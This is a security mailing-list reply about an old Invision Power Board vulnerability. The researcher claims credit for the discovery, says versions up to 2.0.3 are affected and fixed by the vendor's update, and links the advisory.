Re: [HSC Security Group] Invision PowerBoard 1.3.x - 2-x Exploit and Patch

[GulfTech Security Research <security () gulftech org>]

Hello,

I am writing to clear up any confusion here for both the end users and 
the readers.

1) This vulnerability was discovered by me (James Bercegay), reported, 
and fixed several months ago.
2) If you have applied the necessary Invision Power Board updates as 
outlined here
    http://forums.invisionpower.com/index.php?showtopic=168016
    Then you are 100% immune to this "exploit" :) Indeed this only 
affects 2.0.3 and earlier.
3) I believe this is the link to the real BID for this issue
   http://www.securityfocus.com/bid/13529

I have no idea how the confusion came about in regards to this issue, 
but hopefully this clears up any questions the Invision Power Board 
users reading this post may have.

Regards,

James

P.S. Yes, it does seem agustus00 was right when he said the exploit code 
was copied.
